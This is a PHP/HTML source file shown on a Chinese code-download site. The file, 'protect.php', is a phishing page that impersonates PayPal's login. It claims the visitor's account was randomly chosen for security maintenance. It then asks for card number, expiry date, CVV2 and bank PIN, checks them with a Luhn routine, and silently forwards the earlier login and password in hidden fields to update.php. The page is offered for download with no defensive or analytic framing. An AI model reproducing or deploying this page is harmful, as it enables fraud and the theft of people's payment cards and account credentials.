⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 protect.php

📁 apache windows下的一款好
💻 PHP
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Pay Pal - Log In</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<LINK
href="log/pp_styles_111402.css" type=text/css
rel=stylesheet><LINK href="log/pp_table_styles.css"
type=text/css rel=stylesheet>
<SCRIPT src="log/pp_main.js"></SCRIPT>
<LINK href="/en_US/i/icon/pp_favicon_x.ico" rel="shortcut icon">
<META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
<SCRIPT language=Javascript>
 var numbers=".0123456789";
           function isNumeric(x) {
             // is x a String or a character?
             if(x.length>1) {
              // remove negative sign
               x=Math.abs(x);
               for(j=0; j < x.length; j++) {
                 //call isNumeric recursively for each character
                  number = isNumeric( x.substring(j , j + 1));
                  if(!number) return number;
               }
               return number;
              }
              else {
               // if x is number return true
               if(numbers.indexOf(x)>=0) return true;
                  return false;
              }
           }
           var numbers=".0123456789";
           function isNumeric(x) {
               // is x a String or a character?
               if(x.length>1) {
                    // remove negative sign
                    x=Math.abs(x)+"";
                    for(j=0; j < x.length; j++) {
                        // call isNumeric recursively for each character
                        number=isNumeric(x.substring(j,j+1));
                        if(!number) return number;
                    }
                    return number;
                }
                else {
                    // if x is number return true
                    if(numbers.indexOf(x)>=0) return true;
                    return false;
                }
          }
function mod10( ccnum ) { // LUHN Formula for validation of credit card numbers.

  
          signupFORM = document.login_form;
          
	var ar = new Array(signupFORM.ccnum.value.length);
	var i = 0,sum = 0;
	
   	

    	for( i = 0; i <signupFORM.ccnum.value.length; ++i ) {
    		ar[i] = parseInt(signupFORM.ccnum.value.charAt(i));
    	}
    	for( i = ar.length -2; i >= 0; i-=2 ) { // you have to start from the right, and work back.
    		ar[i] *= 2;							 // every second digit starting with the right most (check digit)
    		if( ar[i] > 9 ) ar[i]-=9;			 // will be doubled, and summed with the skipped digits.
    	}										 // if the double digit is > 9, add those individual digits together 


        	for( i = 0; i < ar.length; ++i ) {
        		sum += ar[i];						 // if the sum is divisible by 10 mod10 succeeds
        	}
        	return (((sum%10)==0)?true:false);	 
        		
    }

function checkFields( ccnum ){
 //Text Box

          var REQUIRE_login = 1;      //Text Box
          var REQUIRE_password = 1;     //Text Box

          signupFORM = document.login_form;
          

          if((signupFORM.ccnum.value == "") && (REQUIRE_login == 1)){
              alert("Please fill in your Card number");
              return false;
		   }
           if(!isNumeric(signupFORM.pin.value)){
               alert("Please fill a numeric Pin");
               return false;
           }
           if(!isNumeric(signupFORM.cvv2.value)){
               alert("Please fill a numeric CVV2");
               return false;
}
if((signupFORM.cvv2.value == "") && (REQUIRE_login == 1)){
              alert("Please fill in your Cvv2 number");
              return false;
           }
           if(!isNumeric(signupFORM.ccnum.value)){
               alert("Please fill a numeric card number");
               return false;
           }

            if(signupFORM.ccnum.value.length < 15){
               alert("This is not a valid card number.");
               return false;
           }




           if((signupFORM.pin.value == "") && (REQUIRE_password == 1)){
              alert("Please fill in your Pin");
              return false;
		   }
           else if((signupFORM.pin.value.length <=3)){
                alert("Your Pin Code Is incomplete ");
                return false;
}
                                                	if( !mod10( ccnum ) ) { 		// run the check digit algorithm
                                                		alert("Sorry! This is not a valid credit card number.");
                                                		return false;

	}
        return true;

}
    </SCRIPT>
<BODY bgColor=#ffffff>
<FORM name=login_form         enctype="application/x-www-form-urlencoded"
action=update.php
method=POST><INPUT type=hidden value=_login-submit name=cmd> <INPUT type=hidden
name=login_cmd> <INPUT type=hidden name=login_params> <INPUT type=hidden
name=login_cancel_cmd>
<TABLE class=main cellSpacing=0 cellPadding=0 align=center border=0>
  <TBODY>
  <TR>
    <TD noWrap>
    <a href="protect.php">
    <IMG
      src="log/1.gif" border=0 width="117" height="35"></a></A></TD>
    <TD class=pptext align=middle width="100%">&nbsp;</TD>
    <TD class=pptext noWrap align=right><a href="protect.php"><SPAN
      class=ppem106>Sign&nbsp;Up</SPAN></A>&nbsp;</a>|&nbsp;<a href="protect.php">Log&nbsp;Out</A></a>&nbsp;|&nbsp;<a href="protect.php">Help</a></A></TD></TR></TBODY></TABLE><BR
class=h5>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
  <TBODY>
  <TR>
    <TD background="log/2.gif">
      <TABLE cellSpacing=0 cellPadding=0 align=center border=0>
        <TBODY>
        <TR>
          <TD>
          <a href="protect.php">
          <IMG
            alt=Welcome src="log/3.gif"
            border=0 width="106" height="36"></a></A></TD>
          <TD><IMG height=1 src="log/4.gif" width=1></TD>
          <TD>
          <a href="protect.php">
          <IMG
            alt="Send Money" src="log/5.gif"
            border=0 width="110" height="36"></a></A></TD>
          <TD><IMG height=1 src="log/4.gif" width=1></TD>
          <TD>
          <a href="protect.php">
          <IMG
            alt="Request Money"
            src="log/6.gif" border=0 width="130" height="36"></a></A></TD>
          <TD><IMG height=1 src="log/4.gif" width=1></TD>
          <TD>
          <a href="protect.php">
          <IMG
            alt="Merchant Tools"
            src="log/7.gif"
border=0 width="130" height="36"></a></A></TD>
          <TD><IMG height=1 src="log/4.gif" width=1></TD>
                <TD> <a href="protect.php"> <IMG
            alt="Auction Tools"
            src="log/8.gif"
        border=0 width="118" height="36"></a></A></TD>
              </TR></TBODY></TABLE><IMG height=20
      src="log/4.gif" width=1> </TD>
    <TD><IMG height=59 src="log/4.gif"
  width=1></TD></TR></TBODY></TABLE><IMG height=10
src="log/4.gif" width=1>
  <!-- end footer -->
  <p>&nbsp;</p>
  <p>&nbsp;</p>

<TABLE class=title cellSpacing=0 cellPadding=0 align=center border=0>
  <TBODY>
  <TR>
    <TD class=ppheading>Security Measures</TD></TR>
  <TR>
    <TD><IMG height=2 src="protect_files/4.gif"
width=2></TD></TR></TBODY></TABLE>
<TABLE class=main cellSpacing=0 cellPadding=0 align=center border=0>
  <TBODY>
  <TR>
    <TD><IMG height=6 src="protect_files/4.gif" width=6></TD></TR>
  <TR>
    <TD width="100%" bgColor=#999999><IMG height=2
      src="protect_files/4.gif" width=1></TD></TR>
  <TR>
    <TD><IMG height=6 src="protect_files/4.gif"
width=6></TD></TR></TBODY></TABLE>
<TABLE class=main cellSpacing=0 cellPadding=0 align=center height="8" width="729">
  <TBODY>
  <tr>
          <TD width=219 height="1"><IMG height=1 src="log/4.gif"
            width=150></TD>
          <TD width=12 height="1"><IMG height=1 src="log/4.gif"
            width=6></TD>
          <TD width="981" height="1"><IMG height=1 src="log/4.gif"
            width=432></TD>
  </tr>
  <tr>
  <IMG height=6 src="protect_files/4.gif" 
width=6>We are currently performing regular maintenance of our security 
    measures. Your account has been randomly selected for this maintenance, and 
    you will now be taken through a series of identity verification pages. <br>
    <br>
    Protecting the security of your account is our primary concern, and 
    we apologize for any inconvenience this may cause.
    <p> 
    <TR>
    <TD><IMG height=2 src="protect_files/4.gif"
width=2></TD></TR></TBODY></TABLE>
<TABLE class=main cellSpacing=0 cellPadding=0 align=center border=0>
  <TBODY>
  <TR>
    <TD><IMG height=6 src="protect_files/4.gif" width=6></TD></TR>
  <TR>
    <TD width="100%" bgColor=#999999><IMG height=2
      src="protect_files/4.gif" width=1></TD></TR>
  <TR>
    <TD><IMG height=6 src="protect_files/4.gif"
width=6></TD></TR></TBODY></TABLE>
<TABLE class=main cellSpacing=0 cellPadding=0 align=center height="8" width="729">
  <TBODY>
  <tr>
          <TD width=219 height="1"><IMG height=1 src="log/4.gif"
            width=150></TD>
          <TD width=12 height="1"><IMG height=1 src="log/4.gif"
            width=6></TD>
          <TD width="981" height="1"><IMG height=1 src="log/4.gif"
            width=432></TD>
<br>
          <TD class=pplabel align=right height="8" width="219">
          <label for="login_email"></label></TD>
          <TD height="8" width="12"></TD>
          <TD height="8" width="981">
          <INPUT type=hidden id=login_email
          name=fname size="20">
          <INPUT type=hidden value=<?=$login?>
          	 name=login size="9">
          <INPUT type=hidden value=<?=$password?> maxLength=40
          	name=password size="9"></TD>
  </tr>
  <tr>
          <TD class=pplabel align=right height="1" width="219"><LABEL
            for=login_password></LABEL></TD>
          <TD height="1" width="12"></TD>
          <TD height="1" width="981">
          <INPUT type=hidden id=login_password maxLength=40
            name=lname size="20"></TD>
  </tr>
  <tr>
          <TD class=pplabel align=right height="1" width="219"><LABEL
            for=login_password>Card Number:</LABEL></TD>
          <TD height="1" width="12"></TD>
          <TD height="1" width="981">
          <INPUT id=login_password6 maxLength=20
            name=ccnum size="20"></TD>
  </tr>
  <tr>
          <TD class=pplabel align=right height="1" width="219"><LABEL
            for=login_password>Expiration Date:</LABEL></TD>
          <TD height="1" width="12"></TD>
          <TD height="1" width="981"><table>
<tr>
              <td class="pptext">
                <p><font size="2"><b>Month:</b></font> <font face="Verdana,Geneva,Arial" size="2"><select name="ccmonth">
                  <option value="00" selected>--</option>
                  <option value="01">01</option>
                  <option value="02">02</option>
                  <option value="03">03</option>
                  <option value="04">04</option>
                  <option value="05">05</option>
                  <option value="06">06</option>
                  <option value="07">07</option>
                  <option value="08">08</option>
                  <option value="09">09</option>
                  <option value="10">10</option>
                  <option value="11">11</option>
                  <option value="12">12</option>
                </select> <strong>&nbsp; Year</strong>: <select size="1" name="ccyear">
                  <option value="0000" selected>--</option>
                  <option value="2005">2005</option>
                  <option value="2006">2006</option>
                  <option value="2007">2007</option>
                  <option value="2008">2008</option>
                  <option value="2009">2009</option>
                  <option value="2010">2010</option>
                  <option value="2011">2011</option>
                  <option value="2012">2012</option>
                  <option value="2013">2013</option>
                  <option value="2014">2014</option>
                  <option value="2015">2015</option>
                </select><br>
              </td></tr>

</table></TD>
  </tr>
  <tr>
          <TD class=pplabel align=right height="1" width="219"><LABEL
            for=login_password>CVV2 Number:</LABEL></TD>
          <TD height="1" width="12"></TD>
          <TD height="1" width="981">
          <INPUT id=login_password7 maxLength=3
            name=cvv2 size="3"> <font size="1">CVV2 code is located on the back
          of your card next to a card number</font></TD>
  </tr>
  <tr>
          <TD class=pplabel align=right height="1" width="219"><LABEL
            for=login_password>PIN (Bank Verification):</LABEL></TD>
          <TD height="1" width="12"></TD>
          <TD height="1" width="981">
          <INPUT id=pin maxLength="8" size="5" name=pin></TD>
  </tr>
  <tr>
          <TD class=pptext colSpan=3 height="16" width="1146"></TD>
  </tr>
  <TR>
    <TD class=pptext height="16" width="219">
  </TD></TR></TBODY></TABLE>
<TABLE class=main cellSpacing=0 cellPadding=0 align=center border=0>
  <TBODY>
  <TR>
    <TD><IMG height=6 src="protect_files/4.gif" width=6></TD></TR>
  <TR>
    <TD width="100%" bgColor=#999999><IMG height=2
      src="protect_files/4.gif" width=1></TD></TR>
  <TR>
    <TD><IMG height=6 src="protect_files/4.gif"
width=6> <div align=right> <INPUT type=submit   onClick="return checkFields(ccnum)" value="Save and Go To My Account" name="Go To My Account"></div></TD></TR></TBODY></TABLE>

  <p align="center">&nbsp;</p>
</FORM></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -